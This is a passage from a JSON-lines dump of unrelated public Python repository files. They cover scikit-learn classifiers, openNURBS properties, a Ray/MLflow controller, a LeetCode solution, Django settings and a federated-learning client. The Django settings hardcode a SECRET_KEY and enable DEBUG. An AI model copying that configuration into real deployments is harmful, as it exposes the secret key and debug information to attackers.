In[73]:\n\n\nregressor2 = SVC()\nregressor2.fit(X_train, y_train)\n\n\n# In[74]:\n\n\npred2 = regressor2.predict(X_test)\n\n\n# In[75]:\n\n\nprint(classification_report(y_test, pred2))\nprint('\\n')\nprint(confusion_matrix(y_test, pred2))\nprint('\\n')\nprint(accuracy_score(y_test, pred2))\n\n\n# **Using K-NN**\n\n# In[76]:\n\n\nfrom sklearn.neighbors import KNeighborsClassifier\n\n\n# In[77]:\n\n\nregressor3 = KNeighborsClassifier(n_neighbors=5)\nregressor3.fit(X_train, y_train)\n\n\n# In[78]:\n\n\npred3 = regressor3.predict(X_test)\n\n\n# In[79]:\n\n\nprint(classification_report(y_test, pred3))\nprint('\\n')\nprint(confusion_matrix(y_test, pred3))\nprint('\\n')\nprint(accuracy_score(y_test, pred3))\n\n\n# **Using Adaboost Classifier**\n\n# In[80]:\n\n\nfrom sklearn.ensemble import AdaBoostClassifier\n\n\n# In[81]:\n\n\nregressor4 = AdaBoostClassifier()\nregressor4.fit(X_train, y_train)\n\n\n# In[82]:\n\n\npred4 = regressor4.predict(X_test)\n\n\n# In[83]:\n\n\nprint(classification_report(y_test, pred4))\nprint('\\n')\nprint(confusion_matrix(y_test, pred4))\nprint('\\n')\nprint(accuracy_score(y_test, pred4))\n\n","repo_name":"aman1002/Titanic-Machine-Learning-from-Disaster","sub_path":"Titanic.py","file_name":"Titanic.py","file_ext":"py","file_size_in_byte":6018,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"32149818118","text":"from ..abstractmodel import (\n Property,\n BooleanValue,\n FloatValue,\n IntegerValue,\n StringValue,\n UUIDValue,\n)\nfrom .accessors import IndexReferenceAccessor, ValueObjectAccessor\n\nfrom . import enums\nfrom . import tables\nfrom . import value_types\n\n\nModelProperties = [\n Property(\"BasePoint\", value_types.Point3d, \"Settings.ModelBasePoint\"),\n Property(\"URL\", StringValue, \"Settings.ModelUrl\"),\n # EarthAnchorPoint\n # CurrentColor, CurrentColorSource, etc.\n Property(\"ModelAbsoluteTolerance\", FloatValue, \"Settings.ModelAbsoluteTolerance\"),\n Property(\"ModelAngleTolerance\", FloatValue, \"Settings.ModelAngleToleranceRadians\"),\n Property(\"ModelRelativeTolerance\", FloatValue, \"Settings.ModelRelativeTolerance\"),\n Property(\"ModelUnitSystem\", enums.UnitSystem, \"Settings.ModelUnitSystem\"),\n Property(\"PageAbsoluteTolerance\", FloatValue, \"Settings.PageAbsoluteTolerance\"),\n Property(\"PageAngleTolerance\", FloatValue, \"Settings.PageAngleToleranceRadians\"),\n Property(\"PageRelativeTolerance\", FloatValue, \"Settings.PageRelativeTolerance\"),\n Property(\"PageUnitSystem\", enums.UnitSystem, \"Settings.PageUnitSystem\"),\n Property(\"AmbientLight\", value_types.Color, \"Settings.RenderSettings.AmbientLight\"),\n Property(\n \"BackgroundColorTop\",\n value_types.Color,\n \"Settings.RenderSettings.BackgroundColorTop\",\n ),\n Property(\n \"BackgroundColorBottom\",\n value_types.Color,\n \"Settings.RenderSettings.BackgroundColorBottom\",\n ),\n Property(\n \"UseHiddenLights\", BooleanValue, \"Settings.RenderSettings.UseHiddenLights\"\n ),\n Property(\"DepthCue\", BooleanValue, \"Settings.RenderSettings.DepthCue\"),\n Property(\"FlatShade\", BooleanValue, \"Settings.RenderSettings.FlatShade\"),\n Property(\n \"RenderBackFaces\", BooleanValue, \"Settings.RenderSettings.RenderBackFaces\"\n ),\n Property(\"RenderPoints\", BooleanValue, \"Settings.RenderSettings.RenderPoints\"),\n Property(\"RenderCurves\", BooleanValue, \"Settings.RenderSettings.RenderCurves\"),\n Property(\n \"RenderIsoParams\", BooleanValue, \"Settings.RenderSettings.RenderIsoParams\"\n ),\n Property(\n \"RenderMeshEdges\", BooleanValue, \"Settings.RenderSettings.RenderMeshEdges\"\n ),\n Property(\n \"RenderAnnotations\", BooleanValue, \"Settings.RenderSettings.RenderAnnotations\"\n ),\n Property(\n \"UseViewportSize\", BooleanValue, \"Settings.RenderSettings.UseViewportSize\"\n ),\n Property(\n \"ScaleBackgroundToFit\",\n BooleanValue,\n \"Settings.RenderSettings.ScaleBackgroundToFit\",\n ),\n Property(\n \"TransparentBackground\",\n BooleanValue,\n \"Settings.RenderSettings.TransparentBackground\",\n ),\n Property(\"ImageDpi\", FloatValue, \"Settings.RenderSettings.ImageDpi\"),\n Property(\n \"ShadowMapLevel\", enums.ShadowMapLevel, \"Settings.RenderSettings.ShadowMapLevel\"\n ),\n # NamedView, SnapShot, SpecificViewport\n]\n\n\nCommonProperties = [\n Property(\"Name\", StringValue, \"Name\"),\n]\n\n\nGeometryProperties = [\n Property(\"Color\", value_types.Color, \"Attributes.ObjectColor\"),\n Property(\"ColorSource\", enums.ColorSource, \"Attributes.ColorSource\"),\n Property(\"Decoration\", enums.Decoration, \"Attributes.ObjectDecoration\"),\n Property(\"DisplayOrder\", IntegerValue, \"Attributes.DisplayOrder\"),\n Property(\n \"Layer\",\n UUIDValue,\n IndexReferenceAccessor(\"Attributes.LayerIndex\", tables.LAYER_TABLE),\n ),\n Property(\n \"Linetype\",\n UUIDValue,\n IndexReferenceAccessor(\"Attributes.LinetypeIndex\", tables.LINETYPE_TABLE),\n ),\n Property(\"LinetypeSource\", enums.LinetypeSource, \"Attributes.LinetypeSource\"),\n Property(\n \"Material\",\n UUIDValue,\n IndexReferenceAccessor(\"Attributes.MaterialIndex\", tables.MATERIAL_TABLE),\n ),\n Property(\"MaterialSource\", enums.MaterialSource, \"Attributes.MaterialSource\"),\n Property(\"Name\", StringValue, \"Attributes.Name\"),\n Property(\"PlotColor\", value_types.Color, \"Attributes.PlotColor\"),\n Property(\"PlotColorSource\", enums.PlotColorSource, \"Attributes.PlotColorSource\"),\n Property(\"PlotWeight\", FloatValue, \"Attributes.PlotWeight\"),\n Property(\"PlotWeightSource\", enums.PlotWeightSource, \"Attributes.PlotWeightSource\"),\n Property(\"Space\", enums.ActiveSpace, \"Attributes.ActiveSpace\"),\n Property(\"Viewport\", UUIDValue, \"Attributes.ViewportId\"),\n Property(\"WireDensity\", IntegerValue, \"Attributes.WireDensity\"),\n Property(\"CastsShadows\", BooleanValue, \"Attributes.CastsShadows\"),\n Property(\"ReceivesShadows\", BooleanValue, \"Attributes.ReceivesShadows\"),\n Property(\"Mode\", enums.ObjectMode, \"Attributes.Mode\"),\n Property(\"URL\", StringValue, \"Attributes.Url\"),\n # Groups\n # Property(\"Groups\", UUID_SET, FunctionalAccessor(getGroups, setGroups), tables.GROUP_TABLE),\n # IsInstanceDefinitionGeometry -- included in Mode?\n]\n\nPointProperties = GeometryProperties + [\n Property(\"Point\", value_types.Point3d, \"Geometry.Location\"),\n]\n\nCurveProperties = GeometryProperties + [\n Property(\"Dimension\", IntegerValue, \"Geometry.Dimension\"),\n Property(\"Domain\", value_types.Interval, \"Geometry.Domain\"),\n]\n\nLineCurveGeometryProperty = Property(\n \"Geometry\", value_types.Line, \"Geometry.Line\", deltaOnly=True\n)\nLineCurveProperties = CurveProperties + [\n LineCurveGeometryProperty,\n Property(\n \"StartPoint\",\n value_types.Point3d,\n ValueObjectAccessor(\"Geometry.Line\", \"From\"),\n affectedBy=LineCurveGeometryProperty,\n ),\n Property(\n \"EndPoint\",\n value_types.Point3d,\n ValueObjectAccessor(\"Geometry.Line\", \"To\"),\n affectedBy=LineCurveGeometryProperty,\n ),\n]\n\n\n# Setting the center, normal, radius, or angle of an ArcCurve will require creating a whole new component!\nArcCuveGeometryProperty = Property(\n \"Geometry\", value_types.Arc, \"Geometry.Arc\", deltaOnly=True\n)\nArcCurveProperties = CurveProperties + [\n Property(\n \"Center\",\n value_types.Point3d,\n ValueObjectAccessor(\"Geometry.Arc\", \"Center\"),\n affectedBy=ArcCuveGeometryProperty,\n ),\n Property(\n \"Normal\",\n value_types.Vector3d,\n ValueObjectAccessor(\"Geometry.Arc\", \"Plane.ZAxis\"),\n affectedBy=ArcCuveGeometryProperty,\n ),\n Property(\n \"Radius\",\n FloatValue,\n ValueObjectAccessor(\"Geometry.Arc\", \"Radius\"),\n affectedBy=ArcCuveGeometryProperty,\n ),\n Property(\n \"Angle\",\n value_types.Interval,\n ValueObjectAccessor(\"Geometry.Arc\", \"AngleRadians\"),\n affectedBy=ArcCuveGeometryProperty,\n ),\n]\n\n\nclass PolylineCurvePointsAccessor:\n def getIndices(self, component):\n return (i for i in range(component.PointCount))\n\n def get(self, component, index):\n return component.Point(index)\n\n def set(self, component, index, value):\n component.SetPoint(index, value)\n\n\nPolylineCurveProperties = CurveProperties = [\n Property(\"Points\", value_types.Point3d, PolylineCurvePointsAccessor())\n]\n\nTextDotProperties = GeometryProperties + [\n Property(\"Point\", value_types.Point3d, \"Geometry.Point\"),\n Property(\"PrimaryText\", StringValue, \"Geometry.Text\"),\n Property(\"SecondaryText\", StringValue, \"Geometry.SecondaryText\"),\n Property(\"FontFace\", StringValue, \"Geometry.FontFace\"),\n Property(\"Height\", IntegerValue, \"Geometry.FontHeight\"),\n # AlwaysOnTop, Bold, Italic, Transparent\n]\n\nLayerProperties = CommonProperties + [\n Property(\"Color\", value_types.Color, \"Color\"),\n Property(\"IgesLevel\", IntegerValue, \"IgesLevel\"),\n Property(\n \"Linetype\",\n UUIDValue,\n IndexReferenceAccessor(\"LinetypeIndex\", tables.LINETYPE_TABLE),\n ),\n # Property(\"Index\", IntegerValue, \"Index\"),\n Property(\n \"Material\",\n UUIDValue,\n IndexReferenceAccessor(\"RenderMaterialIndex\", tables.MATERIAL_TABLE),\n ),\n Property(\"Parent\", UUIDValue, \"ParentLayerId\"),\n Property(\"PlotColor\", value_types.Color, \"PlotColor\"),\n Property(\"PlotWeight\", FloatValue, \"PlotWeight\"),\n]\n\nGroupProperties = CommonProperties + []\n\n# HatchPatternProperties = CommonProperties + [\n# Property(\"Description\", ...)\n# ]\n\n\ndef getSegments(linetype):\n return [linetype.GetSegment(i) for i in range(linetype.SegmentCount)]\n\n\ndef setSegments(linetype, segments):\n linetype.ClearPattern()\n for length, solid in segments:\n linetype.AppendSegment(length, solid)\n\n\nLinetypeProperties = CommonProperties + [\n # Property(\"Segments\", value_types.LINETYPE_SEGMENTS, FunctionalAccessor(getSegments, setSegments))\n]\n\n\nMATERIAL_PROPERTIES = CommonProperties + [\n Property(\"AmbientColor\", value_types.Color, \"AmbientColor\"),\n Property(\"DiffuseColor\", value_types.Color, \"DiffuseColor\"),\n Property(\"DisableLighting\", BooleanValue, \"DisableLighting\"),\n Property(\"EmissionColor\", value_types.Color, \"EmissionColor\"),\n Property(\"FresnelIndexOfRefraction\", FloatValue, \"FresnelIndexOfRefraction\"),\n Property(\"FresnelReflections\", BooleanValue, \"FresnelReflections\"),\n Property(\"IndexOfRefraction\", FloatValue, \"IndexOfRefraction\"),\n Property(\"PreviewColor\", value_types.Color, \"PreviewColor\"),\n Property(\"ReflectionColor\", value_types.Color, \"ReflectionColor\"),\n Property(\"ReflectionGlossiness\", FloatValue, \"ReflectionGlossiness\"),\n Property(\"Reflectivity\", FloatValue, \"Reflectivity\"),\n Property(\"RenderPlugIn\", UUIDValue, \"RenderPlugInId\"),\n Property(\"Shine\", FloatValue, \"Shine\"),\n Property(\"SpecularColor\", value_types.Color, \"SpecularColor\"),\n Property(\"Transparency\", FloatValue, \"Transparency\"),\n Property(\"TransparentColor\", value_types.Color, \"TransparentColor\"),\n # MaterialChannel\n # PhysicallyBased\n # RdkMaterialInstanceId\n # Textures\n # Shareable\n # UseDiffuseTextureAlphaForObjectTransparencyTexture\n]\n\nINSTANCE_DEFINITION_PROPERTIES = CommonProperties + [\n Property(\"Description\", StringValue, \"Description\"),\n Property(\"SourceArchive\", StringValue, \"SourceArchive\"),\n Property(\"Type\", enums.InstanceDefinitionUpdateType, \"UpdateType\"),\n # URL\n # URL Tag\n # Others?\n]\n","repo_name":"coditect/opennurbs-diffutils","sub_path":"src/opennurbs_diffutils/adapter3dm/properties.py","file_name":"properties.py","file_ext":"py","file_size_in_byte":10176,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"43937952265","text":"import ray\nimport logging\nimport mlflow\nfrom mlflow import MlflowClient\nfrom mlflow.models import MetricThreshold\nimport pandas as pd\nfrom distributed.ray import utilities\n\n#######################################################\n# REMOTE code\n#######################################################\nlogger = logging.getLogger('scaledtasks')\n\n\n@ray.remote(num_cpus=2, memory=40 * 1024 * 1024)\nclass ScaledTaskController:\n\n def log_model(self, parent_run_id, model, flavor, **kwargs):\n logger.info(f\"In log_model...run id = {parent_run_id}\")\n mlflow.set_tags({'mlflow.parentRunId': parent_run_id})\n\n getattr(mlflow, flavor).log_model(model, **kwargs)\n\n logger.info(\"Logging was successful.\")\n\n def load_model(self, parent_run_id, flavor, model_uri=None, **kwargs):\n try:\n logger.info(f\"In load_model...run id = {parent_run_id}\")\n mlflow.set_tags({'mlflow.parentRunId': parent_run_id})\n\n model = getattr(mlflow, flavor).load_model(model_uri)\n logger.info(\"Model loaded.\")\n\n return model\n except Exception as e:\n logging.info(f'Could not complete execution for load_model - {model_uri}- error occurred: ', exc_info=True)\n\n def log_dict(self, parent_run_id, dataframe=None, dict_name=None):\n logger.info(f\"In log_dict...run id = {parent_run_id}\")\n mlflow.set_tags({'mlflow.parentRunId': parent_run_id})\n\n dataframe.index = dataframe.index.astype('str')\n MlflowClient().log_dict(parent_run_id, dataframe.to_dict(), dict_name)\n\n logger.info(\"Logging was successful.\")\n\n def log_artifact(self, parent_run_id, artifact, local_path, **kwargs):\n utilities.mlflow_log_artifact(parent_run_id, artifact, local_path, **kwargs)\n\n def load_artifact(self, parent_run_id, artifact_name, **kwargs):\n return utilities.mlflow_load_artifact(parent_run_id, artifact_name, **kwargs)\n\n def log_text(self, parent_run_id, **kwargs):\n logger.info(f\"In log_text...run id = {parent_run_id}, {kwargs}\")\n mlflow.set_tags({'mlflow.parentRunId': parent_run_id})\n\n MlflowClient().log_text(parent_run_id, **kwargs)\n\n logger.info(\"Logging was successful.\")\n\n def log_metric(self, parent_run_id, **kwargs):\n logger.info(f\"In log_text...run id = {parent_run_id}, {kwargs}\")\n mlflow.set_tags({'mlflow.parentRunId': parent_run_id})\n\n utilities.mlflow_log_metric(parent_run_id, **kwargs)\n\n logger.info(\"Logging was successful.\")\n\n def load_text(self, parent_run_id, **kwargs):\n try:\n logger.info(f\"In load_text...{kwargs}\")\n mlflow.set_tags({'mlflow.parentRunId': parent_run_id})\n\n text = mlflow.artifacts.load_text(**kwargs)\n logger.info(f\"Text...{text}\")\n\n return text\n except Exception as e:\n logging.info(f'Could not complete execution for load_text - {kwargs}- error occurred: ', exc_info=True)\n\n def get_dataframe_from_dict(self, parent_run_id=None, artifact_name=None):\n if parent_run_id and artifact_name:\n pd.DataFrame.from_dict(mlflow.artifacts.load_dict(f\"runs:/{parent_run_id}/{artifact_name}\"))\n else:\n logger.error(\n f\"Could not load dict with empty parent_run_id or artifact_name (run_id={parent_run_id}, artifact_name={artifact_name}\")\n\n def generate_autolog_metrics(self, flavor=None):\n utilities.mlflow_generate_autolog_metrics(flavor=flavor)\n\n def evaluate_models(self, parent_run_id, flavor, baseline_model=None, candidate_model=None, data=None,\n version=None, baseline_model_name='baseline_model'):\n mlflow.set_tags({'mlflow.parentRunId': parent_run_id})\n logger.info(f\"In evaluate_models...run id = {parent_run_id}\")\n try:\n client = MlflowClient()\n\n mlflow.evaluate(\n candidate_model.model_uri,\n data,\n targets=\"target\",\n model_type=\"regressor\",\n validation_thresholds={\n \"r2_score\": MetricThreshold(\n threshold=0.5,\n min_absolute_change=0.05,\n min_relative_change=0.05,\n higher_is_better=True\n ),\n },\n baseline_model=baseline_model.model_uri,\n )\n\n logger.info(\"Candidate model passed evaluation; promoting to Staging...\")\n\n client.transition_model_version_stage(\n name=baseline_model_name,\n version=version,\n stage=\"Staging\"\n )\n\n logger.info(\"Candidate model promoted successfully.\")\n\n logging.info(\"Updating baseline model...\")\n self.log_model(parent_run_id,\n candidate_model,\n flavor,\n artifact_path=flavor,\n registered_model_name=baseline_model_name,\n await_registration_for=None)\n\n logger.info(\"Evaluation complete.\")\n return True\n except BaseException as e:\n logger.error(\n \"Candidate model training failed to satisfy configured thresholds...could not promote. Retaining baseline model.\")\n return False\n","repo_name":"agapebondservant/ml-scdf-distributedutils","sub_path":"distributed/ray/distributed.py","file_name":"distributed.py","file_ext":"py","file_size_in_byte":5391,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"364996015","text":"\"\"\"\n325. Maximum Size Subarray Sum Equals k\nGiven an array nums and a target value k, find the maximum length of a subarray that sums to k. If there isn't one, return 0 instead.\n\nNote:\nThe sum of the entire nums array is guaranteed to fit within the 32-bit signed integer range.\n\nExample 1:\nInput: nums = [1, -1, 5, -2, 3], k = 3\nOutput: 4 \nExplanation: The subarray [1, -1, 5, -2] sums to 3 and is the longest.\n\nExample 2:\nInput: nums = [-2, -1, 2, 1], k = 1\nOutput: 2 \nExplanation: The subarray [-1, 2] sums to 1 and is the longest.\n\"\"\"\n# Time complexity: O(N)\n# Space complexity: O(N)\nclass Solution:\n def maxSubArrayLen(self, nums: List[int], k: int) -> int:\n curr_sum = 0\n best = 0\n mapping = {}\n for i, val in enumerate(nums):\n curr_sum += nums[i]\n if curr_sum == k:\n best = i+1\n elif curr_sum-k in mapping:\n best = max(best, i-mapping[curr_sum-k])\n if curr_sum not in mapping:\n mapping[curr_sum] = i\n return best\n","repo_name":"victorplusc/Algorithms","sub_path":"Leetcode/325. Maximum Size Subarray Sum Equals k.py","file_name":"325. Maximum Size Subarray Sum Equals k.py","file_ext":"py","file_size_in_byte":1047,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"26177321324","text":"'''\nApproved for Public Release: 12-3351. Distribution Unlimited\n\t\t\t(c)2012-The MITRE Corporation. \nLicensed under the Apache License, Version 2.0 (the \"License\");\n\t\t\tyou may not use this file except in compliance with the License.\n\t\t\tYou may obtain a copy of the License at\n\t\t\thttp://www.apache.org/licenses/LICENSE-2.0\nUnless required by applicable law or agreed to in writing, software distributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n'''\n\n# Django settings for POET project.\nLOCAL = True\n\nDEBUG = True\nTEMPLATE_DEBUG = DEBUG\n\nSESSION_COOKIE_SECURE = False\n\nADMINS = (\n # ('Your Name', 'your_email@example.com'),\n)\n\nMANAGERS = ADMINS\n\nif LOCAL:\n\tDATABASE_NAME = 'C:/POET/POET-Django/DjangoProjects/POET/poetDatabase.db'\n\tLOG_NAME = 'C:/POET/POET-Django/DjangoProjects/POET/poet_debug.log'\n\tSURVEY_DIR = 'survey_results/'\n\tREQUEST_LOG_NAME = 'C:/POET/POET-Django/DjangoProjects/POET/poet_request.log'\n\tMEDIA_ROOT = 'C:/POET/POET-Django/DjangoTemplates/media/'\n\tMEDIA_URL = ''\n\tSTATIC_ROOT = ''\n\tSTATIC_URL = '/static/'\n\tMEDIA_STATIC_URL = '/static/'\n\tSTATICFILES_DIRS = (\n\t\"C:/POET/POET-Django/DjangoTemplates/css\",\n\t\"C:/POET/POET-Django/DjangoTemplates/media\",\n\t\"C:/POET/POET-Django/DjangoTemplates/media/node_videos\",)\n\tTEMPLATE_DIRS = (\"C:/POET/POET-Django/DjangoTemplates\")\nelse:\n\tDATABASE_NAME = '/var/www/html/poet-svn/POET-Django/DjangoProjects/POET/poetDatabase.db'\n\tLOG_NAME = '/var/www/html/poet-svn/POET-Django/DjangoProjects/POET/poet_debug.log'\n\tSURVEY_DIR = '/var/www/html/poet-svn/POET-Django/DjangoTemplates/static/survey_results/'\n\tREQUEST_LOG_NAME = '/var/www/html/poet-svn/POET-Django/DjangoProjects/POET/poet_request.log'\n\tMEDIA_ROOT = '/var/www/html/poet-svn/POET-Django/DjangoTemplates/'\n\tMEDIA_URL = 'http://poet.mitre.org/media/'\n\tSTATIC_ROOT = '/var/www/html/poet-svn/POET-Django/DjangoTemplates/static'\n\tSTATIC_URL = '/static/'\n\tMEDIA_STATIC_URL = ''\n\tSTATICFILES_DIRS = (\n \"/var/www/html/poet-svn/POET-Django/DjangoTemplates/css\",\n \"/var/www/html/poet-svn/POET-Django/DjangoTemplates/media\",\n \"/var/www/html/poet-svn/POET-Django/DjangoTemplates/media/node_images\",\n \"/var/www/html/poet-svn/POET-Django/DjangoTemplates/media/node_videos\",)\n\tTEMPLATE_DIRS = (\"/var/www/html/poet-svn/POET-Django/DjangoTemplates\")\n\nDATABASES = {\n 'default': {\n 'ENGINE': 'django.db.backends.sqlite3', # Add 'postgresql_psycopg2', 'postgresql', 'mysql', 'sqlite3' or 'oracle'.\n 'NAME': DATABASE_NAME, # Or path to database file if using sqlite3.\n 'USER': '', # Not used with sqlite3.\n 'PASSWORD': '', # Not used with sqlite3.\n 'HOST': '', # Set to empty string for localhost. Not used with sqlite3.\n 'PORT': '', # Set to empty string for default. Not used with sqlite3.\n }\n}\n\nAUTH_PROFILE_MODULE = 'brainstorming.UserProfile'\n\nLOGIN_URL = 'login'\nLOGIN_REDIRECT_URL = 'index.html'\n\n# Local time zone for this installation. Choices can be found here:\n# http://en.wikipedia.org/wiki/List_of_tz_zones_by_name\n# although not all choices may be available on all operating systems.\n# On Unix systems, a value of None will cause Django to use the same\n# timezone as the operating system.\n# If running in a Windows environment this must be set to the same as your\n# system time zone.\nTIME_ZONE = 'America/Chicago'\n\n# Language code for this installation. All choices can be found here:\n# http://www.i18nguy.com/unicode/language-identifiers.html\nLANGUAGE_CODE = 'en-us'\n\nSITE_ID = 1\n\n# If you set this to False, Django will make some optimizations so as not\n# to load the internationalization machinery.\nUSE_I18N = True\n\n# If you set this to False, Django will not format dates, numbers and\n# calendars according to the current locale\nUSE_L10N = True\n\n# Absolute filesystem path to the directory that will hold user-uploaded files.\n# Example: \"/home/media/media.lawrence.com/media/\"\n#MEDIA_ROOT = 'C:/POET/POET-Django/DjangoTemplates/media/'\n\n# URL that handles the media served from MEDIA_ROOT. Make sure to use a\n# trailing slash.\n# Examples: \"http://media.lawrence.com/media/\", \"http://example.com/media/\"\n#MEDIA_URL = ''\n\n# Absolute path to the directory static files should be collected to.\n# Don't put anything in this directory yourself; store your static files\n# in apps' \"static/\" subdirectories and in STATICFILES_DIRS.\n# Example: \"/home/media/media.lawrence.com/static/\"\n#STATIC_ROOT = ''\n\n# URL prefix for static files.\n# Example: \"http://media.lawrence.com/static/\"\n#STATIC_URL = '/static/'\n\n# URL prefix for admin static files -- CSS, JavaScript and images.\n# Make sure to use a trailing slash.\n# Examples: \"http://foo.com/static/admin/\", \"/static/admin/\".\nADMIN_MEDIA_PREFIX = '/static/admin/'\n\n# Additional locations of static files\n'''\nSTATICFILES_DIRS = (\n\t\"C:/POET/POET-Django/DjangoTemplates/css\",\n\t\"C:/POET/POET-Django/DjangoTemplates/media\",\n\t\"C:/POET/POET-Django/DjangoTemplates/media/node_videos\",\n # Put strings here, like \"/home/html/static\" or \"C:/www/django/static\".\n # Always use forward slashes, even on Windows.\n # Don't forget to use absolute paths, not relative paths.\n)\n'''\n\n# List of finder classes that know how to find static files in\n# various locations.\nSTATICFILES_FINDERS = (\n 'django.contrib.staticfiles.finders.FileSystemFinder',\n 'django.contrib.staticfiles.finders.AppDirectoriesFinder',\n# 'django.contrib.staticfiles.finders.DefaultStorageFinder',\n)\n\n# Make this unique, and don't share it with anybody.\nSECRET_KEY = 'mbt5kn-^)3fnf&vm^fh(-3qj1!2b2+kb_wxbs&@(qhh7kj6cl$'\n\n# List of callables that know how to import templates from various sources.\nTEMPLATE_LOADERS = (\n 'django.template.loaders.filesystem.Loader',\n 'django.template.loaders.app_directories.Loader',\n# 'django.template.loaders.eggs.Loader',\n)\n\nMIDDLEWARE_CLASSES = (\n 'django.middleware.common.CommonMiddleware',\n 'django.middleware.transaction.TransactionMiddleware',\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'django.middleware.csrf.CsrfViewMiddleware',\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n 'brainstorming.middleware.RedirectionAndLoggingMiddleware',\n 'django.contrib.messages.middleware.MessageMiddleware',\n)\n\nROOT_URLCONF = 'POET.urls'\n\n'''\nTEMPLATE_DIRS = (\n\t\"C:/POET/POET-Django/DjangoTemplates\"\n # Put strings here, like \"/home/html/django_templates\" or \"C:/www/django/templates\".\n # Always use forward slashes, even on Windows.\n # Don't forget to use absolute paths, not relative paths.\n)\n'''\n\nINSTALLED_APPS = (\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'django.contrib.sites',\n 'django.contrib.messages',\n 'django.contrib.staticfiles',\n # Uncomment the next line to enable the admin:\n 'django.contrib.admin',\n # Uncomment the next line to enable admin documentation:\n 'django.contrib.admindocs',\n 'brainstorming',\n 'easy_thumbnails',\n)\n\n# A sample logging configuration. The only tangible logging\n# performed by this configuration is to send an email to\n# the site admins on every HTTP 500 error.\n# See http://docs.djangoproject.com/en/dev/topics/logging for\n# more details on how to customize your logging configuration.\nLOGGING = {\n 'version': 1,\n 'disable_existing_loggers': False,\n\t'formatters': {\n 'verbose': {\n 'format': '%(levelname)s %(asctime)s %(module)s %(process)d %(thread)d %(message)s'\n },\n\t\t'request': {\n 'format': '%(asctime)s %(message)s '\n },\n\t\t'standard': {\n 'format': '%(levelname)-7s %(asctime)s %(message)s'\n },\n 'simple': {\n 'format': '%(levelname)s %(message)s'\n },\n },\n 'handlers': {\n\t\t'log_file':{\n 'level':'DEBUG',\n 'class':'logging.FileHandler',\n 'formatter': 'standard',\n\t\t\t'filename': LOG_NAME # defined above\n },\n\t\t'request_log':{\n 'level':'DEBUG',\n 'class':'logging.FileHandler',\n 'formatter': 'request',\n\t\t\t'filename': REQUEST_LOG_NAME # defined above\n },\n\t\t'console':{\n 'level':'DEBUG',\n 'class':'logging.StreamHandler',\n 'formatter': 'simple',\n },\n\t\t\n },\n 'loggers': {\n\t 'POET': {\n\t\t\t'handlers': ['log_file'],\n\t\t\t'level': 'DEBUG',\n\t\t\t'propagate': False,\n\t\t},\n\t\t'POET.brainstorming': {\n\t\t\t'handlers': ['log_file'],\n\t\t\t'level': 'DEBUG',\n\t\t\t'propagate': False, #ensures that message don't get sent to POET at well\n\t\t},\n\t\t'Access_Logger': {\n\t\t\t'handlers': ['log_file'],\n\t\t\t'level': 'DEBUG',\n\t\t\t'propagate': False,\n\t\t},\n\t\t'Request_Logger': {\n\t\t\t'handlers': ['request_log'],\n\t\t\t'level': 'DEBUG',\n\t\t\t'propagate': False,\n\t\t},\n }\n}\n\n'''\n# this logs SQL queries\n'django': {\n\t\t\t'handlers':['log_file'],\n\t\t\t'propagate': True,\n\t\t\t'level':'DEBUG',\n\t\t},\n'''\n","repo_name":"AgileAdaptiveTools/POETTools","sub_path":"poet/POET-Django/DjangoProjects/POET/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":8958,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"9061897740","text":"from django.conf.urls import url\nfrom . import views\n\nurlpatterns = [\n url(r'^$', views.index, name=\"index\"),\n url(r'^add_feed$', views.add_feed, name=\"add_feed\"),\n url(r'^feeds$', views.feeds, name=\"block\"),\n url(r'^timestamp/(?P[:\\w]*)$', views.timestamp, name=\"timestamp\")\n]\n\n","repo_name":"chriswait/catfeed-server","sub_path":"feedlog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":302,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"22512885054","text":"import os\nimport cv2\n\narr = os.listdir(\"folder11/\")\n\nfor aa in arr:\n aaa = aa.split('.')[0]\n img = cv2.imread(f\"folder11/{aa}\")\n ress = cv2.resize(img,(640,640))\n cv2.imwrite(f\"folder3/{aaa}.png\",ress) ","repo_name":"mnusrat786/Tyre-detection-using-yolov5","sub_path":"resizeee.py","file_name":"resizeee.py","file_ext":"py","file_size_in_byte":214,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"74811016088","text":"import logging\nimport os\nimport sys\n\nsys.path.insert(0, os.path.abspath(os.path.join(os.getcwd(), \"../../../\")))\nsys.path.insert(0, os.path.abspath(os.path.join(os.getcwd(), \"../../../../FedML\")))\n\ntry:\n from fedml_core.distributed.client.client_manager import ClientManager\n from fedml_core.distributed.communication.message import Message\nexcept ImportError:\n from FineFL.fedml_core.distributed.client.client_manager import ClientManager\n from FineFL.fedml_core.distributed.communication.message import Message\nfrom .message_define import MyMessage\nfrom .utils import transform_list_to_tensor\n\n\nclass FedAVGClientManager(ClientManager):\n def __init__(self, args, trainer, comm=None, rank=0, size=0, backend=\"MPI\"):\n super().__init__(args, comm, rank, size, backend)\n self.trainer = trainer\n self.num_rounds = args.comm_round\n self.round_idx = 0\n\n def run(self):\n super().run()\n\n def register_message_receive_handlers(self):\n self.register_message_receive_handler(MyMessage.MSG_TYPE_S2C_INIT_CONFIG,\n self.handle_message_init)\n self.register_message_receive_handler(MyMessage.MSG_TYPE_S2C_SYNC_MODEL_TO_CLIENT,\n self.handle_message_receive_model_from_server)\n self.register_message_receive_handler(MyMessage.MSG_TYPE_S2C_TEST_MODEL_ON_CLIENT,\n self.handle_message_test_model_on_client)\n\n def handle_message_test_model_on_client(self, msg_params):\n #logging.info(\"client {} receive test request\".format(self.rank - 1))\n model_params = msg_params.get(MyMessage.MSG_ARG_KEY_MODEL_PARAMS)\n if self.args.is_mobile == 1:\n 